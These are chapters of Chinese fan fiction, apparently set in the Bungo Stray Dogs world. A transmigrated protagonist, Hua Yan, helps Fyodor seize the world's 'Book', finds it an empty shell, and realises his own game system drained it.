欧洲那边近乎发了疯似的在查找源头,他们为了避免那些人注意到横滨,导致出现更多混乱,不得不联手替对方掩藏。 考虑到对方在学级裁判中对“书”的了解和宣言,很难不让人怀疑这是不是对方所为,那麽,对方这麽做是有什麽更深层次的特殊用意吗? 又或者……是对方在费奥多尔处心积虑的接近中被后者所蒙蔽,在刻意诱导下做出了这一切? 充满不确定的问题滋生了不安与焦虑,但偏偏对方一向神出鬼没,除非主动出现,否则他们谁都无法接触到对方。 他们既无法判断对方的具体情况,也无法得知对方的想法。 查找不到可疑对象,只能将目光投向出现问题的世界根源。 他们需要确认“书”的状态,才能判断究竟出了什麽问题——哪怕从花言之前短暂出现接触了中岛敦时所做的行为来看,这极有可能是某种阳谋——也不得不这麽做,毕竟越拖下去世界所面临的危险就越大。 坂口安吾深吸了一口气,目光紧紧注视着屏幕中的画面。 这片局域是这座城市的中心,同样也是最为繁华的地带,而此时却寂静无比,无关人员早已被清空,肃穆凝重的氛围在他们之间蔓延。 一道光束骤然冲天而起,宛如打碎了水晶球的玻璃壁,展现出平常安逸背后的真实。 这座城市上方浮现出了道道散发着浅光的弧线,那些弧线在半空中汇聚凝结,直到相互衔接勾勒出一个类似于法阵般繁复古老的花纹。 来不及过多观察欣赏,花纹逐渐开始碎裂,这是封印即将被解开的预兆。 “噼啪。” 细微的破碎声在这座城市中每个人耳边响起。 清晰、微弱,却又让人难以忽视。 无数光点伴随着彻底碎裂的花纹而飘逸向横滨各处,它们落在海岸、落在擂钵街脏污的角落、落在郊外草尖、落在钢铁森林的各个角落。 “书”藏在横滨的某处。 同时也无处不在。 那些光点携带着更多光点重新汇聚回光束所发射出的地方。 在这个令所有人都屏息凝神关注的关键时刻,一道警告声陡然炸响。 “注意!有不明人士在往“书”所在的点位极速靠近!” 坂口安吾瞳孔骤缩,顺着脸庞不断下滑汇聚在下巴处的汗水终究还是坠落在了操作台上,晕染开一片深色的水渍。 周围下属迅速锁定目标,监控画面一幕幕闪过,不断靠近放大,其中的色块逐渐褪去,从模糊到清晰。 直到彻底将孤身一人靠近的那道白色身影展露在屏幕中。 ——是花言。 坂口安吾不会认错那道给自己带来深刻印象的身影,哪怕后者此刻戴上了斗篷自带的毛茸茸兜帽,遮掩住了大半张脸。 …… 花言身体表面浮着一层若有若无的红色异能微光,一如既往地借助这份异能增幅了自身行动。 耳中的通信设备传来费奥多尔的提醒。 “花言,您已经进入军警警戒范围了,他们可能会在警告后开始攻击,也可能会直接攻击,您多加小心。” 确实如对方所说,花言听见了军警警告他立即离开的声音,这倒是让他有些意外,他本来以为那些人会直接开枪。 对方似乎是见他无动于衷,数道火光自枪口中亮起,枪声在这片局域不断回响。 无论是主力部署,还是狙击手的位置,都牢牢堵死了每一个能够借助掩体躲避的角落。 这里已经被改造成了毫无死角的狩猎场。 既然如此,那就不躲了。 花言身体重量一瞬间调至最轻,又在借力上调至最高,似炮弹般迸发,刹那间冲进军警的包围圈最深处。 强行顶着枪林弹雨,毫发无损地突破了包围圈,进入了更靠近“书”的内环。 整个过程用时不到一分钟,比之前他无阻拦赶路时还快。 密切关注着这一幕的坂口安吾与费奥多尔不约而同地沉默了片刻。 费奥多尔知道花言在这方面的运气一直都很好,像是被世界偏爱,但他没想到对方现在演都不演了,明明最初的时候还会躲一下的…… 坂口安吾只觉得那种在“骸塞”里死活没办法用麻醉枪击中对方的匪夷所思感再次袭来,对方根本没躲,但他们的攻击就是打不中,甚至连对方衣角都没摸到! 巨大的荒谬之下,坂口安吾回想起了对方在那场自相残杀游戏中所获得的才能——“超高校级的幸运”。 这也是幸运吗……? 真正的幸运原来是这样的……吗? 不知怎麽,坂口安吾脑海里冒出了一个相当灰暗的想法。 ——对方如果铁了心想抢“书”,那应该会如囊中取物一样简单吧。 第127章 花言穿梭在各个建筑物之间,身后的军警没有追上来,仅一种古怪又匪夷所思的目光望着他,像是在看什麽不能理解之物。 花言没有太过在意,以前他幸运发力在大马路上捡到百万彩票时,他身侧的好友也是以这种目光看他的,长此以往,他已经完全习惯了。 而那些军警没有追上来,可能也跟战术安排有关,比如说一旦入侵者突破包围先原地待命封锁这片局域之类的。 这样看来留在里面的应该都是异能者了,在这方面意外的分工明确。 耳边费奥多尔的声音在短暂消失后重新响起。 “负责内部防线的是“猎犬”、港口mafia、武装侦探社、以及异能特务科的异能者,他们原本是各负责四个方位,现在得知入侵者是您的话……应该会选择先集中一同对付您。” 花言沉默了一秒,“……我的仇恨值这麽高?” 居然宁可让内部防线出现漏洞也要先干掉他,要是这个时候有其他组织突破军警也进入了中心局域,那他们这不炸了吗? “不,这应该跟您展现出的能力有关系,能够自如使用各种异能、以及——在“骸塞”里让所有人都无法行动的那种能力。” 费奥多尔像是知道他在疑惑什麽,继续说明。 “而且横滨目前能够让他们警惕的组织也只有“死屋之鼠”和“组合”,我没有多余的人手突破军警,至于“组合”……弗朗西斯的行动应该没这麽快。” 花言察觉到对方在最后一句话上的停顿,后知后觉意识到对方这些天做的准备工作可能比他想象中的还要多。 比如说除了得到这次行动所需要的必要情报,还给其他想要抢“书”的组织使了绊子。 近期的世界融合,再加上横滨各组织现在做出的行动,其他境外势力不可能注意不到,也不可能不会从中联想到什麽。 他记得“钟塔侍从”近卫骑士长阿加莎也参与了中岛敦的悬赏,对方应该也想要“书”,但现在却没有任何动静。 会造成这种情况的原因只有两种。 一种是费奥多尔为了避免节外生枝,暗中帮助异能特务科一同掩藏了即将解除“书”封印的信息;另一种是费奥多尔给阿加莎找了点麻烦,让对方分不出精力来参与这件事。 总之无论哪种都跟对方脱不了关系。 而对方刚刚所说的“没有多余人手”与提起“组合”时似犹豫要不要说的停顿,更是证明了这一点。 ——费奥多尔极有可能给弗朗西斯也找了点麻烦。 花言有些不知道该怎麽说对方这种为了取得胜利所以先绊其他竞争者一脚的行为了。 难怪对方会跟他局面已经布置好了呢。 这确实很稳妥。 唇边无意识溢出的叹息似乎通过通信设备被对面的人捕捉。 费奥多尔关切地询问:“让您感到困扰了吗?” “没有,我跟弗朗西斯是朋友,但你跟他不是,所以我不会阻止你什麽。”花言在这方面还是很清楚的,“只要你别拿我的名义去骗他进陷阱就好了。” “好,我答应您。”费奥多尔轻轻笑了一声,将话题重新拨回眼下,“花言,您三分钟后将会在前面街道拐角处遇见武装侦探社。” 花言思考了一秒,为了避免出现什麽意外,也为了一会儿能够更轻松,果然还是把他们控住比较好。 同样的提醒也在武装侦探社几人耳边响起,国木田独步手中撕下的纸变成了电-击-枪,他与身侧的谷崎润一郎几人对视了一眼,心中细数时间。 在脚步声靠近的那一刻,他们猛地从建筑物后跃出,紧随其后想要攻击的想法仅仅只停留在想法,身体像是失去了控制般站在原地。 而站在他们面前的,则是一名穿着驼色风衣的黑发男人。 “太宰?你怎麽……” 国木田独步皱眉刚想说些什麽,很快又反应过来了不对劲,这不是他们所认识的太宰治。 视线越过笑眯眯的黑发男人往后望去,不出意外地看见了站在不远处正闭眼换墨镜的白发青年。 “我们明明都还没看见目标……”谷崎润一郎有点绝望,“难道是只要出现在对方视野内就会被控制吗?” “不是哦,是只要进入一定范围、花言有战斗的想法就会被控制。”“太宰治”善良地为这个世界自己的同事解惑。 他像是才注意到什麽,用轻快的语气提起了新的话题,“你们在做什麽呢?这麽多人都在——啊,好像也有不在的……说起来,这里应该是横滨最为繁华的市中心吧?怎麽这麽安静?” “太宰治”视线扫过眼前众人,发现在这里的成员除了社长、这个世界的他、中岛敦以及泉镜花,其他人倒是都在。 他在花言身上闻到了一缕似有似无的硝烟味,对方好像在做什麽很不得了的事情。 这一句话让国木田独步回想起眼前的“太宰治”其实与他们所认识的太宰治无二的事实,他当即开口跟对方说明情况,希望对方能做些什麽,让他们弄清楚花言的想法,又或者是能够阻止花言的入侵。 “因为“书”出现了问题,现在我们正在解除“书”的封印。” “太宰治”明白了,他看向逐渐从他身边走过的花言,“你是要去抢“书”吗?” “嗯,麻烦你在这里阻拦一下他们了,如果有其他人来,你提醒我一下,我反应很快,不会让你当木桩的。” 花言指尖微微拉低帽檐,将附有战斗界面的墨镜折叠放进了对方口袋。 “虽然这种可能已经很明确了。”“太宰治”有些无奈,“是他让你这麽做的吗?” 花言点头。 “好吧。” “太宰治”这下是真的无话可说了,花言了解他们所有人,不存在会被费奥多尔诱骗利用的可能,因此对方会这麽做,肯定也有自己的意愿,换句话说——对方对此说不准早就有所想法和准备了。 他只得提醒,“你也别太惯着他了啊,花言。” 花言有些心虚地匆匆点头,“我知道了。” “太宰治”觉得对方这不像是知道的样子,更像是在安抚他,使用了善意的谎言。 武装侦探社众人无力地在原地目送那道白色身影渐行渐远,国木田独步难以置信地看着“太宰治”。 “你就这麽让他走了?” “嗯哼。”“太宰治”风轻云淡地应了一声,鸢色的眼眸里倒映出空旷的街道,“他想做的我们都不会阻拦,我们信任他的一切决定。” “哪怕他有可能会用“书”毁灭世界?”国木田独步眉头紧皱。 “嗯嗯……如果发生了这种事,那他这麽做肯定有他的道理。” “太宰治”一本正经地说出了会让国木田独步瞳孔地震的话。 在得到对方震撼又难以言喻的反应后,他似恶作剧得逞,笑出声,“骗你的,他不会让世界毁灭。” 国木田独步:…… 这种让他拳头不自觉捏紧的感觉,确实是太宰治没错。 …… 花言感受到跟费奥多尔搭档的好处了,对方会准确告诉他每个敌人的动向,也会告知他对面想用的战术,给予了一切信息,却不会插手他的处理方法。 这一点给花言带来了极大的舒适,如果比作游戏,大概就是开了挂的队友不断向他透露敌人的装备、技能、位置……等等各种信息,他都不用思考太多,只用负责爽就可以了,其他的都由对方背负。 花言用同样的手段控制住了赶来的港口mafia和“猎犬”,又在更加接近“书”的地方控制住了想要偷袭他的异能特务科众异能者。 一切简直顺利得不可思议。 花言好久没有感受过这种纯粹的幸运了,自从被系统绑定上后他经常倒霉,以至于现在突然一直幸运让他有种不祥的预感,像是有什麽东西在憋着大招,准备给他一个狠的。 “花言,守在“书”附近的是福地樱痴、福泽谕吉、森鸥外,以及异能特务科的种田山头火,唔……在他们之中,您需要多注意一下福地樱痴手上的“雨御前”,这可能是唯一能够伤到您的攻击手段。” 费奥多尔的嗓音徐徐响起,细致地分析出了所有因素。 让花言更有既视感了。 考虑到“雨御前”袭击的原理是穿梭时间和空间,攻击极有可能是必中的,再加上另外三个人会用的攻击方式…… 花言为了以防万一,提前将异能复制成了“请君勿死”,又抬手召唤出了“与谢野晶子”用于二重保险。 没等他准备好转身踏入最中心的局域,耳边费奥多尔的嗓音突然提高。 “小心!” 花言骤然回头,闪烁着寒光的刀锋映入眼帘,被他凭借运气偏头躲过。 没有给他太多反应过来的时间,那四人像是蓄谋已久,所有攻击手段在短短不到半秒内爆发。 福地樱痴手中“雨御前”蓝盈盈的刀刃瞬间消失,却没有再次出现,这种诡异的情况让他眼底闪过一丝惊愕。 “咦?” 留给福地樱痴的时间只有不到一秒的刹那,同样也是利用奇袭让花言没能反应过来的那短短瞬息间。 “雨御前”一旦没能袭击成功,就意味着他们的失败。 战斗页面在花言墨镜前展开,四人被硬控在原地。 “吓了我一跳……” 花言松了口气。 该说不愧是各个组织的领导者吗?果然老奸巨猾,居然选择离开“书”周围,主动向他发起偷袭。 “还是失败了啊,好不容易才想到这麽个好主意呢。” 种田山头火苦中作乐地笑了两声。 “掉链子了呢,福地阁下。” 森鸥外默然看着身侧跟他一块罚站的爱丽丝,后者已经解除了战斗状态,在不满地抱怨。 “抱歉啊,这种情况我还是第一次见。” 福地樱痴哈哈大笑了两声,像是在不好意思地道歉,但眼眸中神色却惊疑不定,““雨御前”没办法锁定他,像是他不存在于‘过去’和‘未来’。” “仅存在于‘现在’?” 福泽谕吉理解了好友的意思,他目光肃穆地看向绕过他们想要往“书”那边去的白发青年。 缓缓开口。 “你……究竟是什麽东西?” 这个问题有点像是在人身攻击了。 花言恼怒地回头,“你怎麽还骂人?” 他都不是这个世界的人,甚至还有不知道什麽时候就会被世界驱逐出去的风险,所以没办法被“雨御前”锁定也很正常吧?! 这怎麽就被开除人籍了?! 在场四人都没想到花言的侧重点会是这个,其他三人没忍住笑出了声,福泽谕吉看似仍旧严肃庄重,实则在绞尽脑汁地尽力解释。 “……我只是想问你的存在本质。” 这不还是在拐着弯说他不是人吗? 花言冷漠地越过这四人走到“书”面前,四面八方光点不断汇聚,一本书的轮廓在其中缓缓成型。 没有让他等太长的时间,在微光消散的那一刻,一本合拢的“书”也出现在了眼前。 花言指尖触碰上封面,反馈回来的感觉跟碰到了普通的书没什麽不同。 他尝试性地拿下了面前浮在半空中的“书”,意外地发现这本“书”的手感很轻,甚至捏起来还很轻薄。 花言疑惑地翻开了“书”,下一秒,出现在眼前的情况让他猝不及防地呆愣在原地,一片空白的大脑传来了不祥预感成真的果不其然。 花言太长时间没有动作和声音的情况引起了不远处四人的注意。 也让通信设备另一端的费奥多尔察觉到异常,由于“书”所处位置是监控死角,他无法直观得知发生了什麽,只能通过询问对方得到。 费奥多尔的声音与种田山头火的声音相叠,近乎是同步出声。 “花言,发生什麽了?” “少年,你拿到“书”后要做什麽呢?” 花言没有回答,他收敛情绪,转过身看向身后被硬控在原地的四人,向在现场与不在现场的两方同时发出疑问。 “原来……“书”被封印的太久,也会长书虫吗?” 为了更加直观展现问题,花言将手中的“书”向那四人摊开,“这本“书”只有书壳,其他什麽都没有。” 费奥多尔:? 被硬控在原地老奸巨猾的四人:? 花言在问出这个让他迷茫不已的问题后,他发现那四人不约而同地瞳孔地震,甚至连耳边属于费奥多尔的呼吸声也停滞了。 第128章 见多识广的头领四人组原本还不理解花言为什麽会愣那麽久,现在他们理解了。 夏目漱石通知他们“书”出了问题,他们对各种可能出现的糟糕发展都已经有所心理准备,比如说“书”受到了某种污染,又比如说“书”外表发生了什麽变化。 但这其中绝对不包括“书”变成了空壳! 倒不如说身为世界根源的“书”都变成空壳了,这个世界居然还能安然无恙,未免过于不可思议了吧! 一片寂静无声中,只有仅剩书壳的“书”在所有人脑海中不断回荡。 种田山头火头疼地倒吸一口凉气,其他三人震撼也不比他少。 森鸥外难得有些不知道该做什麽,福地樱痴与福泽谕吉表情愈发严肃。 半晌,花言听见费奥多尔深深吸了一口气,像是接受了什麽难以接受的事实,尾音带着几不可闻的轻颤,细微到犹如电子设备信号被干扰的不稳定电流。 “花言,您先带着东西回来吧,他们的增援快来了。” 花言见眼前经验丰富年纪也较为年长的四人仿佛也是第一次遇见这种情况,确认他们无法提供出什麽信息,也不是什麽阴谋陷阱,拿着仅剩书壳的“书”干脆利落地撤退。 他用与进入时相同的方法再次突破了军警的包围,哪怕后者在这段时间布置了很多陷阱也没用。 在出包围圈的那一刻,花言不忘解除战斗页面,并将召唤来的平行世界众人送回。 整个行动都顺利无比,如果忽略“书”仅剩书壳的话,这简直是一次完美的行动。 现在这种情况更像是开头顺利、过程顺利、收尾顺利,但结果不如人意。 花言顶着干完坏事甩掉跟踪必备异能“细雪”回到了据点。 门在身后合拢,异能缓缓消退,他抬起眼眸,发现费奥多尔正站在门口迎接他,对方温和地朝他抬起双臂,其意味不言而喻。 花言短暂思考了一秒,还是扑进了对方怀里,后者手臂在他腰间收拢。 费奥多尔指尖抚过怀中青年的发稍,“欢迎回来。” 这倒是很新奇的体验,给花言一种日剧里经常出现的妻子在家迎接在外劳作的丈夫的错觉。 他下巴搭在费奥多尔肩头,看不见对方此刻表情,却莫名感觉对方似乎心情不太好。 这也是正常情况,毕竟任谁看见了筹划已久、好不容易即将得到的东西,在费尽心思拿到手的时候发现已经变成了空壳,心情都会不太好。 花言安慰道:“没事的,费佳,虽然“书”没得到,但我这里有很多“书页”可以给你……嗯,就是不知道两张之间的内容能不能连贯起效。” 他会在能够无限复制“书页”的情况下帮对方抢“书”只有两个原因。 一个是“书”留在外界终归是个不稳定因素,万一其他人用“书”改变了费奥多尔好不容易实现的理想怎麽办? 另一个则是不确定他手中的“书页”是不是单独的个体,在不同页上面写的内容是像阅读故事书一样连贯起效,还是会各自起效。毕竟本质上他手中的“书页”相当于是一张。 费奥多尔闻言指尖微顿,没有第一时间开口。 他很清楚这一点,也已经从之前花言回答他“这种异能石以前很重要,现在不算特别重要”的话里,意识到对方或许不算特别缺这种能量结晶,因此他仍旧想要得到“书”的原因只有一个。 ——他想尝试能不能用这个世界的“书”,在完成他理想的同时,也能将对方留存下来。 如果用对方提供的“书页”,是做不到这一点的。 他想创造一个没有罪恶异能者的世界,所以异能这种东西理所当然不能存在,用类似于纯粹极致异能本质能量构成身体的对方无法与他理想共存。 而花言提供的“书页”与花言自身之间的关系密不可分,自然不可能反向影响对方,给予对方一副普通人的身体、容纳对方的意识。 “书”为什麽会只剩书壳这个问题也已经不重要了。 也许是他错估了世界融合对“书”造成的影响,导致“书”出现了意外,将内页用于修补世界;也可能是“书”很早就出现了问题,直到现在支撑不住无法再隐瞒下去。 一切终究还是通往了坏结局,连尝试的可能性都没有。 费奥多尔轻轻叹了口气,“那您呢?您知道我近乎颠覆世界的理想,如果我直接用您的力量达成了这一点,您……” 后面的话费奥多尔没有直白地说出口,花言也能够明白。 是在担心他会被驱逐出这个世界吧。 系统现在虽然还没离开,也说过即使被驱逐了也没关系,它也能带自己回来,但考虑到系统没毕业也不靠谱,这确实是有风险的一件事——哪怕他已经得到了任务完成的愿望也是如此,还不知道他如果许愿不会被驱逐出这个世界会带来什麽样的后果,毕竟愿望这种东西,通常都需要谨慎对待。 不过…… “没关系。” 早在他来到这个世界、决定去接触对方时,他就已经做好了各种准备,无论是当流浪汉帮助东山再起,还是帮助完成对方理想后离开,都是意料之中的结果。 这也同样是花言在点燃火焰时回想起的最初觉悟,哪怕这份觉悟点燃的火焰弱小又飘渺,却也同样生生不息。 费奥多尔在决定接触对方时就已经构想好了一切用于铺陈他抵达理想的终焉,现在他得到了对方袒露的情感,距离多年理想的终焉也仅有一步之遥,却不可避免地感到了不完美的遗憾。 花言了解他的一切,因此对方不可能意识不到这一点,但仍旧这麽做了——似早有预料的飞蛾扑火。 费奥多尔牵起花言往室内走去,他给对方买的蛋糕已经解冻好了。 “那您还会回来找我吗?” 这个问题…… 花言沉思了一秒,随后点头,“会。” 以前朋友非要安利他看的狗血苦情剧在此刻派上了用场,别管能不能、也别管结果怎样,总之先给对方一个好的回答。 费奥多尔能够听出花言看似坚定语气背后的不确定,他更进一步问道:“要多久呢?” “嗯……运气好的话,可能很快就回来了吧。” 花言给了对方一个系统不掉链子的情况当作回答。 但他也知道这个回答无法抹消对方会进一步问他具体时间背后的那份怀疑。 费奥多尔不会因此轻易放弃一直以来的理想,同样的,他也不希望对方会在理想达成时产生任何遗憾的情绪,又或者是因为他无法回来而出现一些爱情苦虐剧里都会出现的殉情可能。 花言脚步停下,没有继续跟对方走进厨房拿出今日份的下午茶,他拉住费奥多尔,将后者摁在了身侧的沙发上,连带着仅剩书壳的“书”也被随手丢在了沙发一边。 花言双手撑在对方头侧,单膝压在对方腿间的沙发上借此稳住身形。 试图通过这种极具压迫感的体位,让对方意识到自己即将说出口的话十分重要。 “费佳,你想知道我为什麽会喜欢“骸塞”里、穿着那一套白色晚礼服的你吗?” 花言主动提及了那晚自己怎麽样都不肯吐露出具体回答的问题。 费奥多尔眼眸一眨不眨地盯着对方,后者耳尖因即将要说的内容而蔓延上了绯红,明明一副恨不得立刻钻进地缝的模样,却还是强装不在意地看着他。 他感受到对方不同寻常的认真,重复了对方那晚数遍相同的回答,“因为很好看?” “是很好看,但是,费佳,更多的原因是……” 花言微微闭眼深吸一口气,再次睁开眼眸时里面只剩下炽热又纯粹的情感。 “我喜欢你胜券在握时的样子,喜欢你计谋达成时的傲慢与讥诮,“骸塞”里的你是最直白展现出这一面的时候,所以只要你的理想能够达成……” 他庄重地吐露出最后宛如起誓的话语,“我也会为你高兴并对此赞叹不已,所以你不用感到遗憾,如果你不能尽情享受那一刻,遗憾的反而是我。” 费奥多尔眼眸微微睁大,一片紫罗兰色的眼眸中倒映出低头看着他的白发青年,耳边因情绪迸发而清晰无比的心跳声盖过了所有,大片愉悦在意外之后从深处迅速蔓延,情感像是冒泡的汽水从瓶口溢出铺陈满桌。 他伸手环在对方腰后,将后者从原本居高临下俯视他的角度拉回正常的平视,眼帘微垂,轻轻在对方唇边落下一吻,似呢喃般喟叹。 “我知道了,花言。” 费奥多尔的体温于花言而言有些低,这个吻似白雪一样轻柔地落在皮肤上,却饱含了众多复杂的情绪,似组合成雪的细微冰晶。 花言指尖抵在那个吻落下的位置,缓慢地眨了一下眼眸。 又很快回过神,想起正事,争分夺秒地给对方复制“书页”。 花言手中光点不断汇聚,空白“书页”宛如批发般一张张凝聚成形,考虑到直接拿着一打“书页”给费奥多尔会显得有点潦草,他侧身摸过随手丢在沙发上的“书壳”夹进去填充,最后递给对方。 “不够可以再跟我说。” “书页”管够的。 说完花言又像是想起了什麽,反正他现在连无限制“书页”都提供给对方改变世界了,那为什麽不再做的周全一点呢? “还有其他平行世界的数据,我再给你一份吧。” 之前实体化的平行世界数据合集在他融合世界时自动消失了——可能是由于掺杂了“书页”产生了某种干扰,也可能是他当时只有系统数据库的浏览权限,所以不能复制多份之类的——现在干脆再实体化一份给对方,方便对方更加稳妥便捷地完成理想。 话音落下。 熟悉的特效再次于白发青年手中凝聚,不同于第一次的疏离,不同于第二次的触手可及,这一次费奥多尔彻底得到了对方。 纷飞的光芒不断坠落汇聚,花言一回生二回熟地弄出了那本记录着所有平行世界数据的书,在即将把这本书也交给对方时,他忽然察觉到了一点不对劲。 “书”给他的感觉是轻薄,而他手上这本书给他的感觉是厚重——比之前厚了一点,也重了一点,像是容纳了两本书的重量。 花言迟疑地又收回了手中的书,为了避免意外,他草草翻阅了一下,发现了问题所在。 ——像是翻不到尽头。 费奥多尔注意到花言愈发凝重的表情与不断翻页的动作,很快明悟,“是世界变多了吗?” “嗯……” 花言已经有点想抽冷气了,脑海中逐渐开始联想到变成空壳的“书”,联想到系统在世界融合时抽取了“书页”的能量,再联想到在用异能召唤平行世界的费奥多尔时发现可召唤对象远超他异能原本作用域。 他记得……在有关“书”的设置里好像有一条是说其中折叠了数个平行世界…… 不会吧…… 不会“书虫”竟是他自己……不对,“书虫”该是系统。 毕竟能够抽空“书”能量的只有对方,系统大概是在之前世界融合抽取“书页”能量的时候抽过头了,通过“书页”与“书”之间的联系,抽到了“书”本体上。 亏他刚刚还安慰费奥多尔呢,现在罪魁祸首竟是他自己! 花言近乎把头埋进书里,人在尴尬的时候都会假装自己很忙,他手中越翻越快,想要用这种方式转移自己的注意力。 费奥多尔仅能感受到对方似有什麽超脱掌控的事情发生而感到无措又慌乱的情绪,他思索片刻,说出了最具有可能的推测安抚对方。 “这有没有可能是您频繁召唤了其他世界的我们,以及让世界融合的原因,导致出现了蝴蝶效应,从他们的世界、您所召唤的世界、我们的世界的基础上又衍生出了众多平行世界?” 花言:? 原来还可能会发生这种情况吗?! 花言缓缓陷入沉思,旋即瞳孔地震! 他发现从“太宰治”最初跟他说的结论来看,好像还真有这种情况! 对方早在一开始就提醒过他——“每当你召唤我们在这个世界停留、让我们了解这个世界更多,都有可能改变我们的命运,创造出更多的平行世界哦,这样没关系吗?”。 他当时还没有过多在意这一点,因为没想到系统只单纯降维了他,导致原本于他而言的游戏世界变成了平行世界。 后面也因为事情太多而抛掷脑后,现在遇到了问题,这个提醒才重新浮现。 但是,这个问题为什麽现在才爆发出来?明明他之前实体化所有平行世界成书的时候都没有遇见这种情况。 果然还是因为“书”的原因吗?系统究竟是怎麽抽的? [马路牙子,你当时利用“书页”融合世界的时候,抽了多少能量?] 【抽了足以支撑世界融合的能量?】 系统也察觉到了不对劲,它事无巨细地跟对方说明。 【不过当时世界融合后,能量还有多,被我转化成了数据塞进了数据库里存储,原本是准备用于以防万一的,后面副本结束,我数据库都塞给你了……所以,宿主……】 花言:…… 花言默然将手中的书翻到编号为270的平行世界,不出意料地发现这个世界编号后面的代称从“枝丫”变成了“枝干”。 原本这个代称只是他为了方便费奥多尔理解不同平行世界之间他能够做到的作用域,同样也是他当时随意攥写的,现在却略过他兀自发生了改变,并且他好像还改不回来。 已知系统的数据库里有一堆乱七八糟的东西,甚至还有自动生成程序,“书”的起效需要逻辑完整的因果关系,而“书”又被系统抽成了能量,还从能量转化成了数据,一同存储进了数据库里…… 他在实体化所有平行世界的数据时,借用的是“太宰治”跟他所说的“世界树”猜想…… 众所周知,“枝丫”能够变成“枝干”那一定是被嫁接到了“主干”上,而那个世界才刚跟这个世界融合结束…… 他想的又是将所有自己能够接触的平行世界数据实体化,那绝对会牵扯到“书”的数据,而想要使用“书”的数据又需要先提条件…… 这个时候就轮到省心省力的自动生成程序出场了。 如果自动生成程序优先抓取了他的想法满足了调动“书”数据的条件,让附带着能量的“书”顺利运转…… 结合以上种种信息,结论自然而然地能够得出。 简而言之—— ——“书”在自动生成程序中把“太宰治”说的猜想实现了。 无论在此之前原本的真相是什麽样,反正现在这个世界真成“主干”了,他的一举一动也在此基础上衍生出了更多平行世界。 事情都到这地步了,这个世界还没把他驱逐出境。这让花言不禁开始怀疑那个时候系统所感受到的“失败预兆”,该不会实际上是这个世界想要将他驱逐出境的意图吧? 然后系统为了增加成功率反向抽取“书页”的力量,结果直接把身为世界根源的“书”给抽空了。 身为世界根源的“书”都被抽空到他这里了,那这个世界当然也没办法再驱逐他。 换句话说,这个世界现在有心无力,已经完全管不了他了。 串联起一切线索得出真相的花言骤然陷入沉默。 第129章 鉴于气氛已经烘托到了这里,这件事说出来又过于丢人,花言决定假装没发现这一点,等费奥多尔彻底实现理想的时候让对方自己发现——发现他最后居然没有被驱逐出这个世界。 善意的隐瞒有时候也是很有必要的。 这样一来,原本的虚惊一场的乌龙到最后就会顺理成章地变成意料之外的惊喜,既不会破坏原本深情凄美的氛围,又不会让对方因发现把“书”变得仅剩书壳的罪魁祸首是他而感到无语,简直是一箭双雕! 但让花言感到良心不安的是费奥多尔没有第一时间去制定计划完成理想,对方近期将所有注意力都倾注在了他身上,连计算机都不怎麽打开了。 这种有求必应的温柔态度像是他命不久矣、所以想要在最后的时光陪他一同创造更多幸福美好回忆一样。 花言对此心虚不已,为了安抚自己隐隐作痛的良心,他将之前找平行世界众人共同商讨却没能用上的追人小妙招又重新用在了对方身上,试图努力补偿对方。 他趁费奥多尔替他去买冬季限定甜品的间隙,从花店取到了之前预定好的花,返回原定的地方,准备给对方一个惊喜。 圣诞节的氛围已经彻底逝去,取代而之的是更为热闹的新年氛围,路上行人熙熙攘攘,其中大部分人穿着和服,有说有笑的模样像是准备去寺庙参拜,庆祝新的一年。 花言视线若有所思地垂下眼帘,每个国家用于庆祝新年的方式不同,如果按照俄罗斯庆祝新年的习俗,他现在是不是该去买瓶香槟? 那家甜品店今天人很多,现在距离费奥多尔回来还有点时间,他记得附近有一家专门卖酒水的店,就是不知道那家店的香槟怎麽样。 花言抬起头刚准备判断方向,视线正巧触及一双鸢色的眼眸,后者似看了他很久,跟他对视一眼后又落在他怀中的花束上,面色也逐渐变得古怪。 “花言。” 半晌,太宰治还是主动开口了,他双手插在驼色风衣口袋里,语气仍旧轻快。 “方便找个地方单独聊一下吗?” 花言其实不太方便,因为他还在等费奥多尔,但是…… 太宰治一如既往的态度看起来像是毫不介意他抢“书”的事情,而他之前在行动的时候也没看见对方的身影。 这些天横滨几个组织的人但凡遇到他都要追一下,不是问他抢“书”做什麽,就是问他把仅剩书壳的“书”怎麽了,追的花言不厌其烦,当即让对方原地罚站,后面可能是罚站多了,其他人不怎麽追他了,至此他才得到了普通人的安宁。 相比之下,对方这种反应就显得十分奇怪。 “你知道我抢“书”的事吧?” “当然。”太宰治神色不变,似乎是想起了什麽,补充道:“我不会问你抢“书”做什麽,也不会问你仅剩书壳的“书”在哪儿,安心吧,花言。” 花言心底疑虑更深。 如果对方不问他这两个问题,也知道他当时抢“书”的事却没出现,那对方不是对此有所预料,布置好了什麽能够反转局面的陷阱,就是跟费奥多尔一样在当指挥位。 可按照当时他一帆风顺的情况来看,太宰治应该没有在指挥。 所以果然是有什麽后手吗? 花言墨镜后的眼神犀利起来了,决定浅浅试探一下,“去哪?” 太宰治知道对方这是同意的信号,他微微耸肩,“咖啡厅、甜品店……还是随便找个没人的角落都可以,看你方便。” 花言没那麽多的时间跟对方去正式一点的场所慢慢聊,他环顾了一圈,随手指向不远处的巷子口,“就那里吧。” 那条巷子是监控死角,也没什麽人会注意。 太宰治欣然点头,跟对方一前一后走了进去。 狭窄昏暗的特殊地形削弱了外界的喧闹,虽然有些潦草,但确实是个不错的聊天场地。 为了展现诚意,太宰治主动站在了靠里的位置,他打量着怀抱花束的白发青年,问出了好不容易见到对方孤身一人时就想问的问题。 “花言,你……还在完成你的任务吗?” “嗯?”花言疑惑地发出一声单音,没想到对方特意找他是为了这个。 他记得上次对方也说过要帮助他完成任务类似的话…… 虽然太宰治会想要帮他追费奥多尔,可能是想看后者的热闹,或者是对方有什麽自己的道理,不过这并不妨碍他感谢对方的好意。 “已经完成了,谢谢你。” 太宰治:? 因感受到对方与费奥多尔关系似乎愈发密切而冒出的不祥预感终究还是成真了。 对方的任务十有八九不是杀费奥多尔。 现在费奥多尔没出现任何异常情况,花言却跟他说任务已经完成了。 太宰治脑海中不断梳理最近发生的事情,保守地问道:“你的任务难道是销毁“书”吗?” 这是目前唯一带有与费奥多尔为敌意味的事件了。 虽然有很多乱七八糟说不通的地方,但最起码可以解释“书”现在只剩书壳,而世界却安然无恙的情况。 按理来说,身为世界根源的“书”如果出现问题,那这个世界一定会受到影响,但现在却没有丝毫变化,甚至如果不是夏目漱石的提醒,他们都意识不到“书”出现了问题。 这种情况大概率是花言做了什麽——用什麽东西取代了“书”,让这个世界在失去“书”的情况下也能继续正常运转。 花言没想到太宰治居然能够一眼看穿他苦苦隐瞒的秘密,以至于他沉默了许久才开口。 “这件事我不是故意的。” 太宰治:? 